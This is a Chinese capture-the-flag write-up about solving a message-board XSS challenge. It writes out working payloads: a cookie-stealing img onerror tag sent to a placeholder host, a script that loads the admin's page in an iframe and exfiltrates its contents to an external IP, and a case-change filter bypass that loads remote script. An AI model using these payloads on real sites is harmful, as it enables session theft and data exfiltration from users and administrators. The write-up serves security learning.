writeup | 应该不是 XSS

0x01 初步分析阶段

首先拿到题目,看到留言板,第一反应就是XSS。

但是看过题目提示后,有些不确定。

所以开始分析整道题目。

首先,观察network页面,查看主页面的响应。

发现是通过js进行子页面的渲染。类似于iframe。

一共有四个js文件,前两个明显是jQuery的库文件,不用管它,开始分析main.js与app.js

main.js很明显是渲染页面代码。

通过代码可以发现,当我们构造http://192.168.5.28/#login即可访问其他页面。大家常见的应该是通过php后端渲染这些,通过include去实现在当前模板下渲染页面。此时是通过前端渲染的。

在第七行可以看到一共有4个页面,即有以下页面

http://192.168.5.28/#login http://192.168.5.28/#feedback http://192.168.5.28/#main http://192.168.5.28/#chgpass

然后再进行app.js的分析

可以明显看出是一个功能的控制,可以分析出有以下功能

登录:'./api.php?action=login&' + Math.random() 发送留言: './api.php?action=savepost&' + Math.random() 修改密码:'./api.php?action=chgpass&' + Math.random() 获取所有留言:'./api.php?action=getpost&' + Math.random()

0x02 进一步分析(XSS)

首先,依次访问以上页面,发现chgpass和main是需要登陆后才能访问。

而且main页面下有flag{}字样。

所以判断出,题目要求你以管理员身份登录后,获取到main页面下的flag

在登录页面尝试弱口令登录后,无果。于是又把思路转向了xss。

想着可不可以拿到管理员cookie。经过尝试后,发现他做了一些xss的防范

  1. 将script标签中间强行加入空格
  2. 在<与s之间强行加入空格
  3. 标题处有转义,无法xss
  4. 限制字符长度300

于是构造payload如下

<img src='1' onerror="window.location.href='<http://youhost/?'+document.cookie";>

本地测试成功,然后发送,发现获取cookie为空,即服务器端可能做了HttpOnly的限制。

所以此方法失败!!

然后尝试其他思路,想到了国赛的一道题目guestbook,已经xman排位赛的xss2。

通过构造js,来让管理员直接访问main页面,然后将其源码拖下来。

首先通过js引入一个iframe,来访问main页面,然后通过js拿到iframe的源码,发送回来。

此时遇到了一个问题,即iframe加载不完全,所以自己又添加了一个定时器。

最终代码如下

var iframe = document.createElement("iframe");
 iframe.src = "./#main";
 document.body.appendChild(iframe);
 iframe.onload = setInterval(function (){ 
 var c = encodeURI(document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByTagName("body")[0].innerHTML);
  var n0t = document.createElement("link");
 n0t.setAttribute("rel", "prefetch");
 n0t.setAttribute("href", "//101.200.58.21:2017/?a=" + c);
 document.head.appendChild(n0t);
 },1000

由于代码超过了可以发送文本的长度,所以想办法采用其他方式,如外部引入js。

引入这里,自己采用的是在xss平台上面学到的一句话

<img src=x onerror="s=createElement('script');body.appendChild(s);s.src='你的js地址';">

此时由于存在script,所以得绕过一下,自己采用的是大小写绕过。将其改为下面代码即可。

<img src=x onerror="s=createElement('Script');body.appendChild(s);s.src='你的js地址';">

然后进行多次提交。即可收到打回来的代码。

最后进行url解码后即可拿到flag

0x03 总结

题目还是蛮有意思的,主办方给的hint是csrf。

自己想了想,完全可以打源码,拿到管理员token后,然后通过构造csrf去修改管理员密码,然后登陆。

貌似自己的是非预期解法,毕竟登陆页面和修改密码页面都没有用到,而且自己这个也不算csrf。

成功的用xss再次解出一道题。

参考资料

  • HttpOnly
  • XMAN排位赛xss题解
  • 国赛writeup链接-guestbook
  • app.js
  • main.js

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2018-02-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏程序员的知识天地

新鲜出炉的8月前端面试题

题目的答案提供了一个思考的方向,答案不一定正确全面,有错误的地方欢迎大家请在评论中指出,共同进步。

892
来自专栏崔庆才的专栏

正则表达式中零宽断言的用法

了解了正则表达式,想必一般情况下的匹配都不会出现什么问题,但是如果一些特殊情况,可能需要用到一些更高级的正则表达式匹配操作,本节我们来说明一下正则表达式的一个较...

2864
来自专栏更流畅、简洁的软件开发方式

【自然框架】 页面里的父类——把共用的东东都交给父类,让子类专注于其他。

【类图】 ? 【命名空间】——————————————————【文件截图】 ? ? 可能您会问,不就是弄个父类吗,怎么又是这么复杂呢?这个嘛,听...

2258
来自专栏施炯的IoT开发专栏

《101 Windows Phone 7 Apps》读书笔记-PASSWORDS & SECRETS

课程内容 Ø 加密和解密 Ø 密码输入框 Ø 值转换 Ø DataTimeOffset Ø 可观察集合 Ø INotifyProperty...

2049
来自专栏Aloys的开发之路

Linux乱码问题解决方案

linux系统中文件名内容为urf8编码, windows系统中文件名默认为gbk编码, 多数文档使用gbk编码,系统采用utf8编码 无中文输入法导致的乱码 ...

3578
来自专栏大前端_Web

javascript运行机制:并发模型 与Event Loop

版权声明:本文为吴孔云博客原创文章,转载请注明出处并带上链接,谢谢。 https://blog.csdn.net/wkyseo/articl...

2171
来自专栏zcqshine's blog

springboot 获取form-data里的 file 文件小结

6006
来自专栏小特工作室

Navi.Soft31.开发工具(含下载地址)

1系统简介 1.1功能简述 在软件开发过程中,我们需要经常对字符串、文件、数据库操作。有时需要浏览Json格式串,有时需要浏览Xml格式串,有时需要读取txt或...

2349
来自专栏逸鹏说道

Python3 与 C# 并发编程之~ 线程篇2

其实以前的 Linux中是没有线程这个概念的, Windows程序员经常使用线程,这一看~方便啊,然后可能是当时程序员偷懒了,就把进程模块改了改(这就是为什么之...

1774
来自专栏优启梦

WordPress 如何判断一篇文章是否存在

一直以来子凡都计划为泪雪网添加一个文章的收藏功能,直到现在也依旧也还只是在计划中,最近几天子凡在研究微信小程序,试图折腾用守望轩开源的WordPress微信小程...

40110

扫码关注云+社区